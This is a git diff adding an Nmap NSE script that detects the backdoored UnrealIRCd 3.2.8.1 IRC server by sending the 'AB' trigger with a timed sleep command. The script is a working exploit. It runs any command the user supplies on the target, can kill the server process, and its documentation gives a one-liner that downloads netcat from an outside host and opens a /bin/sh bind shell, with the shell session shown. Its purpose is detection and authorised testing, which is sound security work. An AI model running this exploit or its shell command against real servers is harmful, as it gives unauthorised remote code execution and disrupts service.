summaryrefslogtreecommitdiffstats
path: root/scripts/irc-unrealircd-backdoor.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/irc-unrealircd-backdoor.nse')
-rw-r--r--scripts/irc-unrealircd-backdoor.nse223
1 files changed, 223 insertions, 0 deletions
diff --git a/scripts/irc-unrealircd-backdoor.nse b/scripts/irc-unrealircd-backdoor.nse
new file mode 100644
index 0000000..ade7ae1
--- /dev/null
+++ b/scripts/irc-unrealircd-backdoor.nse
@@ -0,0 +1,223 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local os = require "os"
+local irc = require "irc"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Checks if an IRC server is backdoored by running a time-based command (ping)
+and checking how long it takes to respond.
+
+The <code>irc-unrealircd-backdoor.command</code> script argument can be used to
+run an arbitrary command on the remote system. Because of the nature of
+this vulnerability (the output is never returned) we have no way of
+getting the output of the command. It can, however, be used to start a
+netcat listener as demonstrated here:
+<code>
+ $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
+ $ ncat -vv localhost 4444
+ Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
+ Ncat: Connected to 127.0.0.1:4444.
+ pwd
+ /home/ron/downloads/Unreal3.2-bad
+ whoami
+ ron
+</code>
+
+Metasploit can also be used to exploit this vulnerability.
+
+In addition to running arbitrary commands, the
+<code>irc-unrealircd-backdoor.kill</code> script argument can be passed, which
+simply kills the UnrealIRCd process.
+
+
+Reference:
+* http://seclists.org/fulldisclosure/2010/Jun/277
+* http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
+* http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
+]]
+
+---
+-- @args irc-unrealircd-backdoor.command An arbitrary command to run on the
+-- remote system (note, however, that you won't see the output of your
+-- command). This will always be attempted, even if the host isn't
+-- vulnerable. The pattern <code>%IP%</code> will be replaced with the
+-- ip address of the target host.
+-- @args irc-unrealircd-backdoor.kill If set to <code>1</code> or
+-- <code>true</code>, kill the backdoored UnrealIRCd running.
+-- @args irc-unrealircd-backdoor.wait Wait time in seconds before executing the
+-- check. This is recommended to set for more reliable check (100 is good
+-- value).
+--
+-- @output
+-- PORT STATE SERVICE
+-- 6667/tcp open irc
+-- |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
+--
+
+author = {"Vlatko Kosturjak", "Ron Bowes"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "malware", "vuln"}
+
+
+portrule = irc.portrule
+
+
+action = function(host, port)
+ local socket = nmap.new_socket()
+ local code, message
+ local status, err
+ local data
+ -- Wait up to this long for the server to send its startup messages and
+ -- a response to our noop_command. After this, send the full_command.
+ -- Usually we don't have to wait the full time because we can detect
+ -- the response to noop_command.
+ local banner_timeout = 60
+ -- Send a command to sleep this long. This just has to be long enough
+ -- to remove confusion from network delay.
+ local delay = 8
+
+ -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
+ -- I defined the fudge as 1 second, for now, just because of rounding issues. In practice,
+ -- the actual delay should never be shorter than the given delay, only longer.
+ local delay_fudge = 1
+
+ -- We send this command on connection because comm.tryssl needs to send
+ -- something; it also allows us to detect the end of server
+ -- initialization.
+ local noop_command = "TIME"
+
+ -- The 'AB' sequence triggers the backdoor to run a command.
+ local trigger = "AB"
+
+ -- We define a highly unique variable as a type of 'ping' -- it lets us see when our
+ -- command returns. Typically, asynchronous data will be received after the initial
+ -- connection -- this lets us ignore that extra data.
+ local unique = "SOMETHINGUNIQUE"
+
+ -- On Linux, do a simple sleep command.
+ local command_linux = "sleep " .. delay
+
+ -- Set up an extra command, if the user requested one
+ local command_extra = ""
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
+ command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
+ -- Replace "%IP%" with the ip address
+ command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
+ end
+
+ -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
+ -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
+ -- to add 1 to the delay because the first ping happens instantly.
+ --
+ -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
+ -- not vulnerable. However, it's possible that some odd person may have compiled it
+ -- from the vulnerable sourcecode, so we check for it anyways.
+ local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
+
+ -- Put together the full command
+ local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
+
+ -- wait time: get rid of fast reconnecting annoyance
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
+ local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
+ stdnse.debug1("waiting for %i seconds", waittime)
+ stdnse.sleep(waittime)
+ end
+
+ -- Send an innocuous command as fodder for tryssl.
+ stdnse.debug1("Sending command: %s", noop_command);
+ local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
+
+ -- Make sure the socket worked
+ if(not(socket) or not(response)) then
+ stdnse.debug1("Couldn't connect to remote host")
+ return nil
+ end
+
+ socket:set_timeout(banner_timeout * 1000)
+
+ -- Look for the end of initial server messages. This allows reverse DNS
+ -- resolution and ident lookups to time out and not interfere with our
+ -- timing measurement.
+ status = true
+ data = response
+ while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
+ status, response = socket:receive_bytes(0)
+ if status then
+ data = data .. response
+ end
+ end
+
+ if not status then
+ stdnse.debug1("Receive failed after %s: %s", noop_command, response)
+ return nil
+ end
+
+ -- Send the backdoor command.
+ stdnse.debug1("Sending command: %s", full_command);
+ status, err = socket:send(full_command .. "\n")
+ if not status then
+ stdnse.debug1("Send failed: %s", err)
+ return nil
+ end
+
+ -- Get the current time so we can measure the delay
+ local time = os.time(os.date('*t'))
+ socket:set_timeout((delay + 5) * 1000)
+
+ -- Accumulate the response in the 'data' string
+ status = true
+ data = ""
+ while not string.find(data, unique) do
+ status, response = socket:receive_bytes(0)
+ if status then
+ data = data .. response
+ else
+ -- If the server unexpectedly closes the connection, it
+ -- is usually related to throttling. Therefore, we
+ -- print a throttling warning.
+ stdnse.debug1("Receive failed: %s", response)
+ socket:close()
+ return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
+ end
+ end
+
+ -- Determine the elapsed time
+ local elapsed = os.time(os.date('*t')) - time
+
+ -- Let the user know that everything's working
+ stdnse.debug1("Received a response to our command in " .. elapsed .. " seconds")
+
+ -- Determine whether or not the vulnerability is present
+ if(elapsed > (delay - delay_fudge)) then
+ -- Check if the user wants to kill the server.
+ if(stdnse.get_script_args('irc-unrealircd-backdoor.kill')) then
+ stdnse.debug1("Attempting to kill the Trojanned UnrealIRCd server...")
+
+ local linux_kill = "kill `ps -e | grep ircd | awk '{ print $1 }'`"
+ local windows_kill = 'wmic process where "name like \'%ircd%\'" delete'
+ local kill_command = string.format("%s||%s||%s", trigger, linux_kill, windows_kill)
+
+ -- Kill the process
+ stdnse.debug1("Running kill command: %s", kill_command)
+ socket:send(kill_command .. "\n")
+ end
+
+ stdnse.debug1("Looks like the Trojanned unrealircd is running!")
+
+ -- Close the socket
+ socket:close()
+
+ return "Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277"
+ end
+
+ -- Close the socket
+ socket:close()
+
+ stdnse.debug1("The Trojanned version of unrealircd probably isn't running.")
+
+ return nil
+end
+